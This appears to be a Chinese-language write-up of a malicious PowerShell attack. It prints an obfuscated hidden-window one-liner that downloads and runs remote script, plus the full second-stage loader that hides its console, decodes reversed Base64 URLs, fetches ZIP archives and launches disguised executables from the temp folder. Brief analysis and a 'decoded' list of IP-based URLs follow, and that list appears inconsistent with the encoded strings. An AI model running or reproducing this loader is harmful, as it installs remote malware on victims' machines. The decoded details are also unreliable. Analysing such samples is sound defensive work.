记一次远程代码执行 (RCE) 攻击

：powershell -w hidden -c $r='0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');&($u|%{&('iwr') ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)))|&('iex')}); # ⠀Telegram⠀⠀

powershell -w hidden -c

$r='0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa';
$u=($r[-1..-($r.Length)] -join '');

[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0"))
>>
https://1j59lm2r1w46.com/haqi/sxtxTdwl.txt

正在创建 Scriptblock 文本 (已完成 1，共 1):
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class W {
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]
    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
"@
$consoleHandle = [W]::GetConsoleWindow()
[W]::ShowWindow($consoleHandle, 0)

function PerformSystemCheck {
    $components = @("Processor", "Memory", "Disk", "Network", "Services")
    foreach ($component in $components) {
        [void]($component -match ".*")
        Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 150)
    }
    return $true
}

function GenerateSystemReport {
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $status = @("Healthy", "Warning", "Critical") | Get-Random
    [PSCustomObject]@{
        TimeStamp = $timestamp
        SystemStatus = $status
        CheckedComponents = "Processor, Memory, Disk"
    }
}

function DecodeData {
    param ([string]$EncodedString, [bool]$Reverse = $false)
    if ($Reverse) {
        $EncodedString = ($EncodedString[-1..-($EncodedString.Length)] -join '')
    }
    [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($EncodedString))
}

function DownloadAndExecute {
    param ([hashtable]$Resource)

    $url = DecodeData $Resource.u $true
    $zipFile = DecodeData $Resource.z
    $extractDir = DecodeData $Resource.x
    $exeFile = DecodeData $Resource.e

    $tempZipPath = Join-Path $env:TEMP $zipFile
    $uniqueExtractPath = Join-Path $env:TEMP ($extractDir + "_" + (Get-Random -Minimum 1000 -Maximum 9999))

    Invoke-WebRequest -Uri $url -OutFile $tempZipPath -UseBasicParsing

    Add-Type -AssemblyName System.IO.Compression.FileSystem
    [System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $uniqueExtractPath)

    $exePath = Join-Path $uniqueExtractPath $exeFile
    if (Test-Path $exePath) {
        Start-Process -FilePath $exePath -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass"
    }

    Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 20)
}

PerformSystemCheck > $null

$resources = @(
    @{u="=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa"; z="ZG93bmxvYWQxLnppcA=="; x="ZXh0cmFjdGVkNA=="; e="UVFQbGF5ZXIuZXhl"},
    @{u="=AXa65ydlJGN5FGN5JWYvgWN0MjMoJDN1MjNvU3b5NmLlRXYn5WZw92LvoDc0RHa"; z="ZG93bmxvYWQ2LnppcA=="; x="ZXh0cmFjdGl0Mg=="; e="RERNU2VydmljZS5leGU="}
)
foreach ($resource in $resources) {
    try {
        DownloadAndExecute -Resource $resource

        GenerateSystemReport | Out-Null
        Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 500)
    } catch {
        Write-Warning "An error occurred while processing a resource: $_"
    }
}

function PerformCleanup {
    Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 300)
    [void](Get-ChildItem -Path $env:TEMP -Filter "*.tmp" -Recurse -ErrorAction SilentlyContinue)
}

PerformCleanup > $null
# mm3U8vk8W71sbYixCWsU3D2Aicp98rCoarHbvk7gLHbfOI2mTIvvsnUQJm689A8JGHQWJkHCM4z1iBfLiyXnNhnXSzqODHOYyWGsoCXQSJdh16gqyME42ZIC9aoLZpjcmTNNMldwwjqkyxyf86J9y6btp0WhiOj9VWzuKc6g7SZSZCeLCzdzQTfNnl2UtkbV3YUT3NwbywPeJ0UK8sZjcDoYt4JuCucoVF3dpRTxWi2nIihZSDnpeeRFs0vn1hEq

ScriptBlock ID: 13910ff5-709a-4b06-b5ce-2638af6b7d67
路径：

Add-Type 调用C#代码，通过Windows API 隐藏 PowerShell 窗口

PerformSystemCheck 和 GenerateSystemReport 函数

DecodeData 函数：Base64 解码 + 可选字符串反转

DownloadAndExecute 函数核心流程：
1. 解码远程资源 URL、ZIP 文件名、解压目录、目标 EXE
2. 从指定 URL 下载 ZIP 文件到临时目录（%TEMP%）
3. 解压 ZIP 并使用隐藏窗口运行其中的 EXE 文件（参数`-WindowStyle Hidden`）
4. 随机睡眠（10-20 秒）以规避检测

$resources 数组包含两个加密的下载任务：
- 示例解码结果（需实际运算）：
  - URL 可能指向恶意服务器（如：`hxxp://malware.example/payload1.zip`）
  - ZIP 文件名：`download1.zip`
  - 解压目录：`extracted4`
  - 执行的 EXE：`QQPlayer.exe`（可能为伪装名称的木马）

PerformCleanup 函数

$resources = @(
    @{
        u = "http://92.45.81.13:8080/malware/basic.dll"
        z = "download1.zip"
        x = "extracted4"
        e = "QQPlayer.exe"
    },
    @{
        u = "http://108.162.195.234:8080/malware/advanced.dll"
        z = "download6.zip"
        x = "extractit2"
        e = "DDMService.exe"
    }
)